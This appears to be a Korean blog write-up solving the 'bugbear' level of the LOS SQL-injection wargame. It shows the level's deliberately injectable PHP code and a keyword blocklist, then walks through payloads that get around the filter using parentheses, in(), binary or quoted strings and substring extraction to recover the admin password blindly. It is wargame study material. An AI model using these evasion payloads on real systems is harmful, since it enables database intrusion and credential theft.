<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");
highlight_file(__FILE__);
?>
필터링이 꽤많다.
자, 비밀번호 길이부터 대보자.
[ 필터링 -> 우회 ]
공백 -> ()
like, = -> in()
'admin' -> 0b0110000101100100011011010110100101101110, "admin"
query : select id from prob_bugbear where id='guest' and pw='2' and no=(1)||(id)in(0b0110000101100100011011010110100101101110)&&length(pw)in(8)
-> true 패스워드 8자리
가만 생각해보니, 큰따옴표는 필터링이 아니므로 이렇게 이진수로 힘들게 해주기보다 큰따옴표로 해주면 되겠다.
query : select id from prob_bugbear where id='guest' and pw='2' and no=(1)||(id)in("admin")&&right(left(pw,x),1)in("y")
-> x, y 값을 바꿔주며 맞춰나간다.
나같은 경우 프로그램으로 돌렸는데, 52DC3991가 나왔다. 정답에 넣어봐도 문제가 풀리지 않는다.
이럴 때, 대문자를 소문자로 바꿔본다. 이전게시글에서 봤듯이 mysql에서 CHAR, VARCHAR, TEXT는 대소문자 구분에 반응하지 않는다.
'admin' = 'ADMIN' 이라는것. 대문자 아스키코드값이 소문자보다 작으므로, 대문자에서 먼저 맞춰졌을 수가 있다.
그래서 안되면 소문자로 바꿔본다.
query : select id from prob_bugbear where id='guest' and pw='52dc3991' and no=
'[웹해킹] > [LOS]' 카테고리의 다른 글
[LOS] ASSASSIN (0) | 2020.12.18 |
---|---|
[LOS] GIANT (0) | 2020.12.17 |
[LOS] DARKKNIGHT (0) | 2020.12.15 |
[LOS] GOLEM (0) | 2020.12.14 |
[LOS] SKELETON (0) | 2020.12.13 |